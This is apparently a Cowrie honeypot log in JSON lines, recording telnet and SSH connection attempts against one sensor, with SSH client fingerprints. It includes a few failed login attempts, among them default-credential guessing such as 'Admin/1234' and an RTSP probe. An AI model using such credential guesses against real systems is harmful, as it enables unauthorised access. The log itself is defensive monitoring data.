{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57562,"dst_ip":"159.203.135.109","dst_port":23,"session":"3027f98716d9","protocol":"telnet","message":"New connection: 35.233.84.227:57562 (159.203.135.109:23) [session: 3027f98716d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:06.732848Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57578,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cdb19962a19","protocol":"telnet","message":"New connection: 35.233.84.227:57578 (159.203.135.109:23) [session: 4cdb19962a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:06.889850Z"}
{"eventid":"cowrie.session.closed","duration":0.00637507438659668,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:06.896038Z","src_ip":"35.233.84.227","session":"4cdb19962a19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57580,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c8ef7a117d8","protocol":"telnet","message":"New connection: 35.233.84.227:57580 (159.203.135.109:23) [session: 2c8ef7a117d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:07.047577Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57588,"dst_ip":"159.203.135.109","dst_port":23,"session":"87760920aff0","protocol":"telnet","message":"New connection: 35.233.84.227:57588 (159.203.135.109:23) [session: 87760920aff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:07.207198Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57604,"dst_ip":"159.203.135.109","dst_port":23,"session":"14c38c8f0136","protocol":"telnet","message":"New connection: 35.233.84.227:57604 (159.203.135.109:23) [session: 14c38c8f0136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:07.369421Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57610,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbf7bdf7c125","protocol":"telnet","message":"New connection: 35.233.84.227:57610 (159.203.135.109:23) [session: bbf7bdf7c125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:07.526346Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57622,"dst_ip":"159.203.135.109","dst_port":23,"session":"84f846d01d65","protocol":"telnet","message":"New connection: 35.233.84.227:57622 (159.203.135.109:23) [session: 84f846d01d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:07.682227Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57632,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a25b8a85b58","protocol":"telnet","message":"New connection: 35.233.84.227:57632 (159.203.135.109:23) [session: 1a25b8a85b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:07.837873Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57644,"dst_ip":"159.203.135.109","dst_port":23,"session":"e926e200f926","protocol":"telnet","message":"New connection: 35.233.84.227:57644 (159.203.135.109:23) [session: e926e200f926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:07.994461Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57658,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2d93982d685","protocol":"telnet","message":"New connection: 35.233.84.227:57658 (159.203.135.109:23) [session: f2d93982d685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:08.151401Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57662,"dst_ip":"159.203.135.109","dst_port":23,"session":"e493a91ef7dc","protocol":"telnet","message":"New connection: 35.233.84.227:57662 (159.203.135.109:23) [session: e493a91ef7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:08.311666Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:08.317230Z","src_ip":"35.233.84.227","session":"e493a91ef7dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57674,"dst_ip":"159.203.135.109","dst_port":23,"session":"fac29e72fecc","protocol":"telnet","message":"New connection: 35.233.84.227:57674 (159.203.135.109:23) [session: fac29e72fecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:08.473576Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57680,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b8d101776b","protocol":"telnet","message":"New connection: 35.233.84.227:57680 (159.203.135.109:23) [session: a4b8d101776b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:08.630839Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57684,"dst_ip":"159.203.135.109","dst_port":23,"session":"d882e3139738","protocol":"telnet","message":"New connection: 35.233.84.227:57684 (159.203.135.109:23) [session: d882e3139738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:08.786623Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":52776,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca1bebee0e78","protocol":"telnet","message":"New connection: 35.233.84.227:52776 (159.203.135.109:23) [session: ca1bebee0e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:08.943441Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":52790,"dst_ip":"159.203.135.109","dst_port":23,"session":"521696af5fa2","protocol":"telnet","message":"New connection: 35.233.84.227:52790 (159.203.135.109:23) [session: 521696af5fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:09.099917Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":52806,"dst_ip":"159.203.135.109","dst_port":23,"session":"734c76612abf","protocol":"telnet","message":"New connection: 35.233.84.227:52806 (159.203.135.109:23) [session: 734c76612abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:09.254469Z"}
{"eventid":"cowrie.session.closed","duration":0.005352497100830078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:09.259709Z","src_ip":"35.233.84.227","session":"734c76612abf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":52822,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccdfb87a2053","protocol":"telnet","message":"New connection: 35.233.84.227:52822 (159.203.135.109:23) [session: ccdfb87a2053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:09.411473Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":52832,"dst_ip":"159.203.135.109","dst_port":23,"session":"76c7aea3d22d","protocol":"telnet","message":"New connection: 35.233.84.227:52832 (159.203.135.109:23) [session: 76c7aea3d22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:09.565778Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 4588","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 4588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:09.571110Z","src_ip":"35.233.84.227","session":"76c7aea3d22d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.102411270141602,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.202249Z","src_ip":"35.233.84.227","session":"521696af5fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.641374826431274,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.207029Z","src_ip":"35.233.84.227","session":"76c7aea3d22d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.8023741245269775,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.213713Z","src_ip":"35.233.84.227","session":"ccdfb87a2053","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.274304151535034,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.217621Z","src_ip":"35.233.84.227","session":"ca1bebee0e78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.338457584381104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.221330Z","src_ip":"35.233.84.227","session":"f205a013853a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.438344478607178,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.224845Z","src_ip":"35.233.84.227","session":"d882e3139738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.07709002494812,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.228356Z","src_ip":"35.233.84.227","session":"f2d93982d685","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.761062145233154,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.234515Z","src_ip":"35.233.84.227","session":"fac29e72fecc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.607265949249268,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.237955Z","src_ip":"35.233.84.227","session":"a4b8d101776b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.929834365844727,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.241372Z","src_ip":"35.233.84.227","session":"e493a91ef7dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.251171588897705,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.245461Z","src_ip":"35.233.84.227","session":"e926e200f926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.5671865940094,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.249277Z","src_ip":"35.233.84.227","session":"84f846d01d65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.415050506591797,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.252783Z","src_ip":"35.233.84.227","session":"1a25b8a85b58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.887142181396484,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.256374Z","src_ip":"35.233.84.227","session":"14c38c8f0136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.733572721481323,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.259803Z","src_ip":"35.233.84.227","session":"bbf7bdf7c125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.056491374969482,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.263530Z","src_ip":"35.233.84.227","session":"87760920aff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.2202787399292,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.267678Z","src_ip":"35.233.84.227","session":"2c8ef7a117d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.54044508934021,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.273180Z","src_ip":"35.233.84.227","session":"3027f98716d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.947843551635742,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.276892Z","src_ip":"35.233.84.227","session":"bcceb66a448f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.792857646942139,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.280924Z","src_ip":"35.233.84.227","session":"809170ce37f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.114262819290161,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.285259Z","src_ip":"35.233.84.227","session":"3824c33f9ad0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.29475474357605,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.305027Z","src_ip":"35.233.84.227","session":"bf709604fb3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.457012176513672,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.309656Z","src_ip":"35.233.84.227","session":"8f8a428c73ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.783794164657593,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.313874Z","src_ip":"35.233.84.227","session":"0ac01988750e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.945582866668701,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.317925Z","src_ip":"35.233.84.227","session":"f10bd60a8c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.627654075622559,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.321817Z","src_ip":"35.233.84.227","session":"bd16a1c55808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.113914966583252,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:16.325261Z","src_ip":"35.233.84.227","session":"5cf40d851580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.37.192","src_port":54954,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3ec00aa1df6","protocol":"telnet","message":"New connection: 152.59.37.192:54954 (159.203.135.109:23) [session: b3ec00aa1df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:17:51.151383Z"}
{"eventid":"cowrie.session.closed","duration":12.435463428497314,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:18:03.586718Z","src_ip":"152.59.37.192","session":"b3ec00aa1df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.92.15.23","src_port":47732,"dst_ip":"159.203.135.109","dst_port":22,"session":"806db0b51ddb","protocol":"ssh","message":"New connection: 154.92.15.23:47732 (159.203.135.109:22) [session: 806db0b51ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:21:13.290723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:21:13.295480Z","src_ip":"154.92.15.23","session":"806db0b51ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:21:24.626795Z","src_ip":"154.92.15.23","session":"806db0b51ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49282,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa7a7f92cb43","protocol":"ssh","message":"New connection: 194.59.206.2:49282 (159.203.135.109:22) [session: fa7a7f92cb43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:22:16.596943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:22:16.603426Z","src_ip":"194.59.206.2","session":"fa7a7f92cb43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:22:16.689740Z","src_ip":"194.59.206.2","session":"fa7a7f92cb43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:22:16.864098Z","src_ip":"194.59.206.2","session":"fa7a7f92cb43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58040,"dst_ip":"159.203.135.109","dst_port":22,"session":"a895a8a7f6d7","protocol":"ssh","message":"New connection: 2.57.122.208:58040 (159.203.135.109:22) [session: a895a8a7f6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:23:22.605944Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:23:22.714465Z","src_ip":"2.57.122.208","session":"a895a8a7f6d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.19","src_port":47170,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de92e468825","protocol":"telnet","message":"New connection: 103.203.57.19:47170 (10.17.0.5:23) [session: 1de92e468825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:24:04.423863Z"}
{"eventid":"cowrie.session.closed","duration":5.000150680541992,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:24:09.423857Z","src_ip":"103.203.57.19","session":"1de92e468825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":7922,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b3968684db3","protocol":"ssh","message":"New connection: 84.239.42.8:7922 (159.203.135.109:22) [session: 6b3968684db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:26:20.794501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:26:20.798477Z","src_ip":"84.239.42.8","session":"6b3968684db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:26:20.927720Z","src_ip":"84.239.42.8","session":"6b3968684db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"1234","message":"login attempt [Admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:26:21.436331Z","src_ip":"84.239.42.8","session":"6b3968684db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:26:22.568476Z","src_ip":"84.239.42.8","session":"6b3968684db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58770,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b68b5525b39","protocol":"ssh","message":"New connection: 2.57.122.208:58770 (159.203.135.109:22) [session: 7b68b5525b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:27:30.626467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:27:30.943556Z","src_ip":"2.57.122.208","session":"7b68b5525b39","protocol":"ssh"}
